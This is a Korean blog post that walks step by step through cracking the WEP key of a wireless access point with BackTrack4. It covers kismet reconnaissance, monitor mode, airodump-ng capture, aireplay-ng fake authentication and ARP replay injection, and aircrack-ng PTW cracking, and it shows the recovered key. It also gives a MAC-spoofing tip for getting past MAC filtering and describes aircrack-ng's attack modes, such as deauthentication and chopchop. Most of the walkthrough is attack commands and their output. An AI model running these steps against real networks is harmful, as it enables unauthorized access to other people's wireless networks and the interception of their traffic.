반응형

BackTrack4 란 리눅스에 대해 알게 되고 관련 자료들을 정리해 본다.
http://www.remote-exploit.org/backtrack_download.html

무엇보다도 무선 랜에 관한 자료로 알게 되었는데 UI가 깔끔하고 속도도 빠르다.
일단 사용하면서 부딪혔던 문제에 대해서 정리한다.

일단 Vmware에서 가동중인 BackTrack4에 무선랜을 인식시키는데 부딪힌 난관
무선랜이 인식이 안되는것이다.
노트북 자체 무선랜은 인식이 안되기에 따로 외장 무선랜을 구매까지 했는데도 말이다.

일단 VMware에서 노트북 호스트에 있는 무선랜은 인식이 안된다고 한다.
VMware가 노트북 호스트에 있는 무선랜 디바이스를 게스트 OS에 연결하지 않기 때문..
그리하여 VMware 게스트 OS에서 노트북 호스트에 있는 USB 무선랜을 연결하려면,
디바이스를 넘겨줘야 된다. 그 방법은 VMware 메뉴에 보면 VM 메뉴가 보일것이다.
Removable Device에서 적합한 디바이스를 게스트에 연결해 주는 과정을 거치면 된다.

우선 AP의 WEP Key를 크래킹 하기 위해서는 수많은 양의 IVs(Initialization Vectors)를 모아야 한다.
일반적인 네트워크 트래픽을 저장하는 것으로 IVs를 수집하기엔 시간이 좀 걸린다.
수집시간을 줄이기 위해 Injectino이라고 부르는 기술을 사용할 것이다.
Injection 기법은 AP에 보낸 패킷을 계속해서 빠르게 재전송하기 때문에
많은 수의 IVs를 짧은 시간내에 얻을 수 있다.

*기타팁..
무선AP에서 MAC인증을 할 경우 무선 랜카드의 MAC을 수정해야 하는 경우가 있다.
윈도우 환경에서 해당툴을 이용하여 간단하게 바꿀 수 있슴..

http://www.wirelessdefence.org/Contents/MAC%20Address%20Changer.htm 

소스 파일: Project Homepage: http://www.codeproject.com/KB/applications/MacIdChanger.aspx
BackTrack 환경에서는 "macchager" 명령어가 포함되어 있다.


WEB Key를 크래킹 하기 위한 기본적은 단계는 다음과 같다.

  1. 공격할 AP MAC, Channel 정보를 수집하기.
  2. 무선랜을 모니터(monitor) 모드로 변경하기.
  3. aireplay-ng를 이용하여 AP에 가짜 인증(authentication) 하기.
  4. BSSID필터를 이용해 특정 AP 채널의 IVs 값들을 수집하기.
  5. aireply-ng의 ARP request replay 모드를 이용하여 패킷 주입하기.
  6. aircrack-ng를 이용하여 수집된 IVs 패킷 크래킹하기.

kismet을 실행하려면 무선랜카드가 Monitor 모드에 있어야 한다.
1. 무선랜 카드의 Monitor 모드를 해제한다.
    airmon-ng stop wlan0
2. 무선랜 카드를 Monitor 모드로 전환한다.
    airmon-ng start wlan0

그리고 kismet을 실행하려면, kismet.conf를 수정해서 무선랜 디바이스명과
무선랜 디바이스가 사용하는 드라이버명을 지정해줘야 한다.
/usr/etc/kimet.conf 파일에
ncsource=mon0:type=rt73
내용을 추가한다.

kismet을 실행하고 h를 누르면 도움말을 볼수 있다. 일단 s를 누르면 정렬방식을 지정하라고 뜬다.
s를 누르고 해킹할 AP를 선택하고 Enter를 누르면 자세한 정보를 볼수 있다.


2. 해킹을 위한 무선랜카드 설정하기 (Monitor Mode)

! interface 검사

root@bt:~# iwconfig

lo               no wireless extensions.

eth0           no wireless extensions.

wmaster0  no wireless extensions.

wlan0        IEEE 802.11bg  ESSID:""
                 Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
                 Tx-Power=0 dBm
                 Retry min limit:7   RTS thr:off   Fragment thr=2352 B
                 Encryption key:off
                 Power Management:off
                 Link Quality:0  Signal level:0  Noise level:0
                 Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
                 Tx excessive retries:0  Invalid misc:0   Missed beacon:0

! wlan0를 정지하기

root@bt:~# airmon-ng stop wlan0

Interface       Chipset                  Driver

wlan0            Ralink 2570 USB    rt2500usb - [phy1]
                                                   (monitor mode disabled)

 ! Wireless Card를 원하는 채널에 Monitor Mode로 변경한다.

  (여기서는 HCEducation AP해킹을 위해 1번채널을 설정)

  root@bt:~# airmon-ng start wlan0 1

Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID       Name
4324    knetworkmanager

Interface       Chipset                    Driver

wlan0            Ralink 2570 USB      rt2500usb - [phy1]
                                                     (monitor mode enabled on mon0)

!  설정 후 점검.. 모니터 모드로 설정 후 mon0 인터페이스가 생긴걸 볼 수 있다...
이 환경우 WLAN 카드별로
  조금씩 다를 수 있으니...참고

root@bt:~# iwconfig
lo             no wireless extensions.

eth0          no wireless extensions.

wmaster0  no wireless extensions.

wlan0     IEEE 802.11bg  ESSID:""
               Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
               Tx-Power=21 dBm
               Retry min limit:7   RTS thr:off   Fragment thr=2352 B
               Encryption key:off
               Power Management:off
               Link Quality:0  Signal level:0  Noise level:0
               Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
               Tx excessive retries:0  Invalid misc:0   Missed beacon:0

mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=21 dBm
               Retry min limit:7   RTS thr:off   Fragment thr=2352 B
               Encryption key:off
               Power Management:off
               Link Quality:0  Signal level:0  Noise level:0
               Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
               Tx excessive retries:0  Invalid misc:0   Missed beacon:0
                                   

3. IV 캡처를 위한 airodump-ng 사용 및 Injection Test

 root@bt:~# airodump-ng -c 1 --bssid 00:0E:E8:FB:5F:47 -w output mon0

-c는 무선 네트워크의 채널지정... kismet을 이용하여 수집된 정보를 이용하면 된다..
--bssid는 공격하고자 하는 AP의 MAC 주소지정.
-w는 IVs들을 저장할 파일 이름을 지정.
mon0은 인터페이스 이름지정.

@ airodump-ng를 실행한 화면....

 

4. Airepla-ng를 이용한 AP에 fake authentication 하기

AP가 패킷을 받아들이기 위해서는 반드시 대상 MAC 주소와 연결이 이루어져야 한다.
Injection을 하고자 하는 AP의 주소에 가짜 인증(fake authentication)으로 연결하여야 한다.

root@bt:~# aireplay-ng -1 0 -e HCEducation -a 00:0E:E8:FB:5F:47
                                                                    -h 00-16-01-9C-0A-4F mon0

03:15:24  Waiting for beacon frame (BSSID: 00:0E:E8:FB:5F:47) on channel 1

03:15:24  Sending Authentication Request (Open System)
03:15:25  Authentication successful
03:15:25  Sending Association Request [ACK]
03:15:25  Association successful :-) (AID: 1)

-1은 fake authentication
0은 초당 재연결 시간
-e HCEducation는 무선 네트워크 이름
-a 00:0E:E8:FB:5F:47 은 AP의 MAC 주소
-h 00-16-01-9C-0A-4F는 자신의 랜카드 MAC 주소
mon0은 무선 네트워크 interface 이름

@ fake authentication이 성공한 화면......

  

5. aireplay-ng를 이용한 ARP Request Replay mode로 패킷 주입하기 

ARP request를 재주입하는 이유는 AP는 보통 ARP request를 받으면 새로운 IV를 생성하여 반출하기 때문
이를 통해 우리는 짧은 시간내에 많은 양의 IVs를 수집할 수 있게 된다.

root@bt:~# aireplay-ng -3 -b 00:0E:E8:FB:5F:47 -h 00-16-01-9C-0A-4F mon0

@ aireplay-ng을  이용한 fake authentication 후 Injection 공격을 하고 있는 화면....

@ airodump-ng에서 Capture 되고 있는 화면...Data가 40,000개 이상이 될때 까지 기다린다.... (WEP 128bit)



PTW 공격을 위해 필요한 패킷수...

WEB key가 64bit인 경우 : 250,000개의 IV / 20,000개의 패킷

WEB key가 128bit인 경우 : 1,500,000개의 IV / 40,000 ~ 85,000개의 패킷

 

6. WEP key 크랙을 위한 aircrack-ng 사용 

@ 새로운 konsole 창을 열고 다음 명령을 입력한다.

root@bt:~# aircrack-ng -z -b 00:0E:E8:FB:5F:47 output*.cap

-z :  PTW WEP-crack 방법사용
-b : 공격대상 AP에 MAC 주소
output*.cap : IV캡처해서 저장한 파일을 지정 

 @ 40분정도 수집된 IV를 이용한 WEP key 128bit 크랙이 완료된 화면....
암호가 asdf123456789 입니다....

 

@@ Summary

1. 정보수집을 위한 Kismet 사용 (공격할 AP MAC, Channel 정보를 습득한다.)

root@bt:~# kismet

2. 해킹을 위한 무선랜카드 설정하기 (Monitor Mode)

root@bt:~# airmon-ng stop wlan0

root@bt:~# airmon-ng start wlan0 1


3. IV 캡처를 위한 airodump-ng 사용 과 Wireless Device Packet Injection 테스트하기

root@bt:~# airodump-ng -c 9 --bssid 00:0E:E8:FB:5F:47 -w output mon0

root@bt:~# aireplay-ng -1 mon0

4. Airepla-ng를 이용한 AP에 fake authentication 하기

root@bt:~# aireplay-ng -1 0 -e HCEducation -a 00:0E:E8:FB:5F:47 -h 00-16-01-9C-0A-4F mon0

5. aireplay-ng를 이용한 ARP Request Replay mode로 패킷 주입하기 

root@bt:~# aireplay-ng -3 -b 00:0E:E8:FB:5F:47 -h 00-16-01-9C-0A-4F mon0

6. WEP key 크랙을 위한 aircrack-ng 사용

root@bt:~# aircrack-ng -z -b 00:0E:E8:FB:5F:47 output*.cap


 


 Aircrack-ng 패키지 구성

A.     aircrack-ng

airodump-ng를 통하여 캡쳐된 암호화 패킷들을 이용하여 암호화에 사용된 키를 추출해낼 수 있는 프로그램입니다. WEP 암호화 키의 추출에는 PTW메소드, FMS/KoreK메소드가 사용되는데, 메소드의 알고리즘은 < http://aircrack-ng.org/doku.php?id=links#technique_papers> 에서 확인할 수 있습니다. aircrack-ng는 추가로 brute force Dictionary method를 지원하는데, WPA-PSK 암호화의 크래킹은 현재 이 한가지 방법으로만 가능합니다. WPA-PSK 크래킹은 클라이언트와 AP간 연결시 발생하는 4-way handshake 패킷을 캡쳐하여, 제공된dictionary의 특정 엔트리를 일일이 대입해 봄으로써 진행됩니다.

 

B.     airdecap-ng

airdecap-ngWEP/WPA/WPA2로 암호화된 패킷들을 복호화하거나, 복호화된 패킷들에서 무선 헤더들을 떼내는데 사용됩니다.

 

C.     aireplay-ng

aireplay-ng frame의 삽입, WEP WPA-PSK키의 크랙에 필요한 패킷을 ap에 전송하는데 이용됩니다. 이용되는 공격방식들은 다음과 같습니다.

 

                i.         Attack 0: Deauthentication

이 공격방법은 AP와 이미 연결되어있는 클라이언트를 가장하여 연결해제 패킷(disassociate packet)을 보내는 것입니다. 공격받은 클라이언트와 AP의 연결이 해제된다면, 클라이언트가 끊어진 연결을 다시 복구하려 하게 되고, 이때 공격자는 hidden ESSID 감지(ap essid broadcast되지 않는 경우), WPA/WPA2 handshakes 패킷 캡쳐, ARP request 생성(window의경우 연결이 끊어졌을 때 aprcache를 클리어하기때문) 등과 같은 공격을 할 수 있게 됩니다. 이 공격에는 APMAC주소, 연결을 끊을 클라이언트의 MAC주소가 필요하며 MAC주소를 특정하지 않는 경우 AP에 연결된 모든 클라이언트의 연결을 해제시킬 수 있습니다.

 

               ii.         Attack 1: Fake authentication

이는 OpenSystem Share Key 타입의 WEP 암호화를 사용하며, AP에 가짜 연결을 생성하는 공격입니다. 이 공격은 공격할 AP에 아무런 연결이 없어 패킷 캡쳐가 불가능한 경우 이를 해결하기 위해 사용될 수 있으며 WPA/WPA2 AP에는 사용이 불가능합니다.

 

              iii.         Attack 2: Interactive packet replay

이 공격은 공격대상에게 특정 패킷을 보내서 회신을 받을 수 있도록 하는 것입니다.

목적지가 broadcast MAC주소인 경우인 패킷 (ARP request와 같이), 혹은 to DS(distribution system) flag 1인 패킷들을 이용하거나, 그게 아니라면 아예 목적에 맞는 새로운 to DS 패킷을 생성하여 공격하며, 대상이 답변 패킷을 보내도록 함으로써 결과적으로 이를 크랙에 이용할 수 있도록 합니다.

 

              iv.         Attack 3: ARP request replay attack

ARP request replay 공격은 새로운 initialization vector들을 생성하는데 가장 효과적이고 신뢰할 수 있는 방법입니다. 프로그램은 공격대상의 네트워크에서 ARP패킷이 생성되기를 기다리다가 이를 캡쳐한후 AP에 재전송을 여러 번 합니다. 이때 AP는 새로운 IV를 이용한 똑같은 ARP 패킷을 여러 번 반복 전송하게 됩니다. 이러한 방식으로 생성된 ARP패킷들은 WEP키를 쉽게 크랙할 수 있도록 합니다.

 

               v.         Attack 4: KoreK chopchop attack

chopchop공격은 WEP키를 모르는상태로 WEP 데이터 패킷을 복호화 하는 것입니다. 이 공격을 통해 WEP키를 알아낼 수는 없지만, 평문을 해석해 낼 수 있습니다.

이러한 공격이 가능한 원리는 다음 링크에서 얻을 수 있습니다.

http://www.aircrack-ng.org/doku.php?id=chopchoptheory

 

 

              vi.         Attack 5: Fragmentation attack

이 공격을 통해 WEP키 대신 PRGA(pseudo random generation algorithm) 를 얻을 수 있습니다.

PRGA는 약 1500byte, packetforge-ng에서 여러 인젝션공격을 위한 가짜 패킷을 생성하는데 사용됩니다. 기본적으로 이 프로그램은 패킷에서 몇가지 키가 될 수 있는 부분들을 추출한뒤, 그 내용을 알고 있는 ARP혹은 LLC혹은 두가지 패킷 모두를 AP에 보내고, 이에 반응한 AP에서 답신해온 패킷들을 통하여 많은양의 암호화정보를 추출해내는 방식으로 이루어집니다.

알고리즘에 대한 자세한 정보는 다음 링크에서 확인할 수 있습니다.

http://wiki-files.aircrack-ng.org/doc/Fragmentation-Attack-in-Practice.pdf

 

D.     airmon-ng

airmon-ng는 무선랜 인터페이스에서 Monitor mode를 활성화하는데 사용됩니다. Monitor modeairodump-ng에서 패킷 캡쳐링을 할 수 있도록 합니다.

 

E.      airodump-ng

Airodump-ng 802.11프레임 패킷들을 캡쳐할 수 있는 프로그램입니다. 이를 통해 주변 AP의 정보나 패킷량 등을 모니터링 하거나 저장할 수 있습니다. 또한 WEP IV를 수집하는데 적합하게 설계되었으며, 이는 aircrack-ng를 통하여 WEP key를 추출해 낼 수 있도록 합니다.

만약 컴퓨터에 GPS 수신기가 달려있다면, 모니터링중 찾아낸 AP들의 좌표를 기록할 수 있습니다.

 

F.      airtun-ng

Airtun-ng는 가상터널인터페이스를 생성할 수 있습니다.

이는 다음과 같은 기능을 위해 사용될 수 있습니다 :

-       wIDS (wireless intrusion detection system)

-       network에 임의의 트래픽 인젝션

 

wIDS 데이터수집을 위해, 모니터링할 네트워크의 bssid와 암호화키를 알고 있어야 합니다. Airtun-ng 는 가상 네트워크 인터페이스를 만든뒤, 공격하는 네트워크의 트래픽을 모두 복호화하여 이 인터페이스로 복사함으로써 이를 snort, wireshark와 같은 전통적인 IDS에 넘길 수 있습니다.

 

트래픽인젝션은 WEP키를 가지고 있을 경우 송/수신 정보 모두를, PRGA만을 가지고 있을 경우 송신 정보만을 인젝션 할 수 있습니다.

 

G.     packetforge-ng

Packetforge-ng injection에 사용될 수 있는 암호화된 패킷을 만들어 낼 수 있습니다. Arp, UDP, ICMP 혹은 다른 종류의 패킷들을 생성할 수 있습니다.

암호화된 패킷을 생성하기 위해서는, 반드시 PRGA 패킷을 가지고 있어야 합니다.

 

H.     airdecloak-ng

특정 종류의 AP에서는 WIPS(Wireless intrusion prevention system)을 도입하여, WEP키 크랙킹을 방지합니다. 이는 가짜 WEP 프레임을 삽입함으로써 aircrack-ng wep키를 크래킹하는것을 방해할 수 있습니다. Airdeclock-ng는 이러한 가짜 프레임을 구별해내어 필터링함으로써 결과적으로 aircrack-ng wep를 알아낼 수 있도록 합니다.



그 외 관련 자료 :  http://ntlab.egloos.com/2482499

+ Recent posts